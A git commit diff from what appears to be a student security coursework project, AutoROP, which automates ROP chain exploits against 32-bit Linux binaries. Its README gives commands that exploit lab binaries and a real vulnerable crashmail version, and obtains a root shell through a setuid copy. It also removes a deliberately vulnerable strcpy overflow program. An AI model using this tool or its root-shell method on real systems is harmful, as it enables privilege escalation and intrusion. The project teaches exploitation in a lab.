readme stuff

This commit is contained in:
Jack Bond-Preston 2020-12-11 11:53:47 +00:00
parent 055b787c2d
commit f13ef70767
13 changed files with 143 additions and 63 deletions

1
.gitignore vendored
View File

@ -136,7 +136,6 @@ dmypy.json
.vagrant .vagrant
# binaries # binaries
vuln-32
core core
out/* out/*
!out/.gitkeep !out/.gitkeep

View File

@ -1,2 +0,0 @@
vuln-32:
gcc -fno-stack-protector -m32 -static vuln.c -o vuln-32

110
README.md
View File

@ -1 +1,109 @@
# security-cw # AutoROP
```console
_ ___ _.--. ___ _____ ______ _____ ______ ______
\`.|\..----...-'` `-._.-'_.-'` / _ \ / ____| /\ |____ / ____| /\ | ____| ____|
/ ' ` , __.--' | | | |_ _| | / \ / / | / \ | |__ | |__
)/' _/ \ `-_, / | | | \ \/ / | / /\ \ / /| | / /\ \ | __| | __|
`-'" `"\_ ,_.-;_.-\_ ', | |_| |> <| |____ / ____ \ / / | |____ / ____ \| | | |____
_.-'_./ {_.' ; / \___//_/\_\\_____/_/ \_\/_/ \_____/_/ \_\_| |______|
{_.-``-' {_/
__ __
| _______ _ _ _______ _____ ______ _____ _____ |
| |_____| | | | | | |_____/ | | |_____] |
| | | |_____| | |_____| | \_ |_____| | |
|__ __|
```
## Set up Vagrant
The project uses vagrant to ensure consistent results across machines.
```sh
vagrant up
vagrant ssh
cd cw
```
Our test environment uses:
* Vagrant with the [Libvirt](https://github.com/vagrant-libvirt/vagrant-libvirt) provider
* Ubuntu 18.04, provided by the image `generic/ubuntu1804`
* Python 3.9.0
* A modified version of [ROPGadget](https://github.com/JonathanSalwan/ROPgadget)
## `autoRop.py`
Our ROP exploit is in the Python script `autoRop.py`. The script supports automatic gadget discovery and ROP chain exploitation of 32-bit x86 Linux ELF binaries. Broadly, the script works by:
1. Generating a padding discovery ROP payload from the target program which executes `/bin/echo "[ Successful ROP! ]"`.
1. Modifying the padding length on the discovery payload until the exploit is successful.
1. Generating the target ROP payload in `exec_args.json` with the discovered padding in step 2.
1. Running the program with the target payload.
## ROP exploit on test binaries
All binaries are located in the `test-binaries` directory. Each of them uses a different method for supplying the ROP exploit. Below are instructions for each type. You will see for each attack that it is successful when it prints `[ Successful ROP! ]`.
### `vuln-32` - Binary using file input
This is the original vulnerable program from the lab. It takes its payload from a file, the path to which is passed as an argument.
```sh
python autoRop.py --input_method file --run test-binaries/vuln-32
```
### `null-data-addr` - Binary using file input
This is the original vulnerable program from the lab, compiled with the flag `-Tdata 0x080f0000`. This sets the base `.data` address to `0x080f0000`, resulting in null bytes in the data address. We can confirm the data address has been set accordingly with:
```sh
$ readelf --sections test-binaries/null-data-addr 2> /dev/null | grep -e "\.data "
> [ 2] .data PROGBITS 080f0000 091000 000f20 00 WA 0 0 32
```
AutoROP handles this and places its data at a
```sh
python autoRop.py --input_method file --run test-binaries/null-data-addr
```
### `elf-linux-x86`/`elf-linux-x86-NDH-chall` - Binaries using a positional argument
These binaries are largely similar. They both take the payload as their first argument.
```sh
python autoRop.py --input_method arg --run test-binaries/elf-Linux-x86
python autoRop.py --input_method arg --run test-binaries/elf-Linux-x86-NDH-chall
```
### `crashmail` - Binary using an optional argument
This was a real world vulnerable version of the program crashmail. When the `SETTINGS` option is used, the next argument has a buffer overflow vulnerability. Thus, we run this binary with the first argument as `SETTINGS` and the next argument as the payload. This can be configured by changing the exec_args file from the default `exec_args.json`
```json
[ "$PAYLOAD$" ]
```
to `test-binaries/crashmail_exec_args.json`
```json
[ "SETTINGS", "$PAYLOAD$" ]
```
like so:
```sh
python autoRop.py --input_method arg --exec_args test-binaries/crashmail_exec_args.json --run test-binaries/crashmail
```
This may take a little while due to the fairly large required offset.
## Changing the `execve` target
AutoROP allows you to change what you execute with `execve` - enabling the execution of any executable with any arguments. It also allows to automatically run the ROP chain where the ROP payload will generate an interactive program, using the argument `--interactive`. Without `--interactive`, the program simply dumps the output of the ROP to stdout.
We demonstrate this by making AutoROP generate an interactive shell payload. To do this, we use the file `rop_exec_bash.json`:
```json
["/bin/bash", "-p"]
```
This array represents the `execve` arguments - the signature will be `execve("/bin/bash", ["/bin/bash", "-p"])`.
The `-p` flag is used to enable privileged mode. In this mode, bash will acknowledge the effective user id, allowing exploitation of the `setuid` bit. This means that if the target binary has the setuid bit sit, we will be able to get a root shell. We demonstrate this by setting the setuid bit on `vuln-32-setuid`. This binary is stored in the home directory due to issues surrounding setting the owner and setuid bit on files in the Vagrant shared directory.
Now we run AutoROP on this binary, and get an interactive root shell:
```sh
python autoRop.py --input_method file --rop_exec_file rop_exec_bash.json --run --interactive ~/vuln-32-setuid
```
We can verify this by typing
```console
whoami
```
and we get `root`!

View File

@ -36,14 +36,14 @@ print(r'''
arg_parser = argparse.ArgumentParser(description="Run an automated ROP on an executable") arg_parser = argparse.ArgumentParser(description="Run an automated ROP on an executable")
arg_parser.add_argument("exec_file", metavar="exec_file", type=str, help="The executable file to exploit") arg_parser.add_argument("exec_file", metavar="exec_file", type=str, help="The executable file to exploit")
arg_parser.add_argument("--rop_file", metavar="rop_file", default="rop.txt", type=str, help="The name of the generated ROP input file") arg_parser.add_argument("--exec_args_file", metavar="exec_args_file", default="exec_args.json", type=str, help="The path to the file containing the arguments to pass to the executable. Put $PAYLOAD$ where you want the payload to be placed. (default: exec_args.json)")
arg_parser.add_argument("--rop_exec_file", metavar="rop_exec", default="rop_exec.json", type=str, help="The path to the file containing the command for the ROP to run") arg_parser.add_argument("--input_method", metavar="method", choices=['arg', 'file', 'stdin'], default='arg', help="Method of passing the payload to the target binary (default: arg)")
arg_parser.add_argument("--min_payload", metavar="min", default=0, type=int, help="The minimum payload length to try")
arg_parser.add_argument("--max_payload", metavar="max", default=16384, type=int, help="The maximum payload length to try")
arg_parser.add_argument("--input_method", metavar="method", choices=['arg', 'file', 'stdin'], default='arg', help="Method of passing the payload to the target binary")
arg_parser.add_argument("--run", action="store_true", default=False, help="Automatically run the ROP on the executable")
arg_parser.add_argument("--interactive", action="store_true", default=False, help="Automatically run the ROP on the executable") arg_parser.add_argument("--interactive", action="store_true", default=False, help="Automatically run the ROP on the executable")
arg_parser.add_argument("--exec_args_file", metavar="exec_args_file", default="exec_args.json", type=str, help="The path to the file containing the arguments to pass to the executable. Put $PAYLOAD$ where you want the payload to be placed.") arg_parser.add_argument("--min_payload", metavar="min", default=0, type=int, help="The minimum payload length to try (default: 0)")
arg_parser.add_argument("--max_payload", metavar="max", default=16384, type=int, help="The maximum payload length to try (default: 16384)")
arg_parser.add_argument("--rop_exec_file", metavar="rop_exec", default="rop_exec.json", type=str, help="The path to the file containing the command for the ROP to run (default: rop_exec.json)")
arg_parser.add_argument("--rop_file", metavar="rop_file", default="rop.txt", type=str, help="The name of the generated ROP input file (default: rop.txt)")
arg_parser.add_argument("--run", action="store_true", default=False, help="Automatically run the ROP on the executable")
args = arg_parser.parse_args() args = arg_parser.parse_args()
@ -67,43 +67,50 @@ def run_program(payload: str, **kwargs) -> process:
p = None p = None
if input_method == 'arg': if input_method == 'arg':
exec_args[payload_idx] = payload exec_args[payload_idx] = payload
p = process([f'./{exec_file}'] + exec_args, **kwargs) p = process([f'{exec_file}'] + exec_args, **kwargs)
elif input_method == 'file': elif input_method == 'file':
with open('/tmp/input.txt', 'wb') as f: with open('/tmp/input.txt', 'wb') as f:
f.write(payload) f.write(payload)
f.flush() f.flush()
exec_args[payload_idx] = '/tmp/input.txt' exec_args[payload_idx] = '/tmp/input.txt'
p = process([f'./{exec_file}'] + exec_args, **kwargs) p = process([f'{exec_file}'] + exec_args, **kwargs)
elif input_method == 'stdin': elif input_method == 'stdin':
p = process([f'./{exec_file}'] + exec_args, **kwargs) p = process([f'{exec_file}'] + exec_args, **kwargs)
p.send(payload) p.send(payload)
return p return p
def find_offset_inc(low: int, high: int): def find_offset_inc(low: int, high: int):
default_padding = 64 default_padding = 64
tmp_rop = '/tmp/rop_file'
print(f" ├─[🤔] Generating offset discovery payload...") print(f" ├─[🤔] Generating offset discovery payload...")
subprocess.run( result = subprocess.run(
[ [
"ROPgadget", "ROPgadget",
"--binary", exec_file, "--binary", exec_file,
"--ropchain", "--ropchain",
"--silent", "--silent",
"--paddingLen", str(default_padding), "--paddingLen", str(default_padding),
"--ropFile", '/tmp/rop_file', "--ropFile", tmp_rop,
"--execFile", 'rop_exec_default.json', "--execFile", 'rop_exec_default.json',
], ],
stdout = subprocess.DEVNULL stdout = subprocess.PIPE
) )
with open('/tmp/rop_file', 'rb') as f: with open("log/ropgadget.log", "wb") as f:
original_payload = f.read()[default_padding:] f.write(result.stdout)
for i in range(low, high + 1):
print(f" ├─[🤔] Trying offset {i}...") try:
rop_payload = (b'A' * i) + original_payload with open(tmp_rop, 'rb') as f:
proc = run_program(rop_payload) original_payload = f.read()[default_padding:]
if b'[ Successful ROP! ]' in proc.readall(): for i in range(low, high + 1):
print(f" └─[😳] Found offset at {i}!\n") print(f" ├─[🤔] Trying offset {i}...")
return i rop_payload = (b'A' * i) + original_payload
proc = run_program(rop_payload)
if b'[ Successful ROP! ]' in proc.readall():
print(f" └─[😳] Found offset at {i}!\n")
return i
except FileNotFoundError as e:
print(f" └─[😥] Could not find {e.filename}, check log/ropgadget.log for details")
return -1 return -1

View File

@ -37,6 +37,9 @@ cd /home/vagrant/cw/Ropper && git submodule init && git submodule update
cd /home/vagrant/ && git clone https://github.com/Z3Prover/z3.git && cd z3 && python3 scripts/mk_make.py && cd build && make -j$(nproc) && sudo make install cd /home/vagrant/ && git clone https://github.com/Z3Prover/z3.git && cd z3 && python3 scripts/mk_make.py && cd build && make -j$(nproc) && sudo make install
cp -R /home/vagrant/z3/build/python/z3 /home/vagrant/cw/Ropper cp -R /home/vagrant/z3/build/python/z3 /home/vagrant/cw/Ropper
cp /home/vagrant/cw/test-binaries/vuln-32 /home/vagrant/vuln-32-setuid
sudo chown root /home/vagrant/vuln-32-setuid
sudo chmod u+s /home/vagrant/vuln-32-setuid
sudo apt-get clean sudo apt-get clean

1
rop_exec_bash.json Normal file
View File

@ -0,0 +1 @@
["/bin/bash", "-p"]

View File

@ -0,0 +1 @@
[ "SETTINGS", "$PAYLOAD$" ]

Binary file not shown.

BIN
test-binaries/vuln-32 Executable file

Binary file not shown.

37
vuln.c
View File

@ -1,37 +0,0 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
int copyData(char *string)
{
char buf[32];
strcpy(buf, string);
return (0);
}
int main(int argc, char *argv[])
{
char buffer[700];
FILE *file;
if (argc !=2)
{
printf("[*] invalid arguments!\n [*] > %s file_name\n",argv[0]);
exit(0);
}
printf("opening file\n");
file = fopen(argv[1],"rb");
if (!file)
{
//printf("file not opened %s", strerror(errno));
fprintf(stderr,"file not opened %s", strerror(errno));
//printf("error");
return (0);
}
printf("file opened\n");
fread(buffer, 699,1,file);
fclose(file);
copyData(buffer);
return (0);
}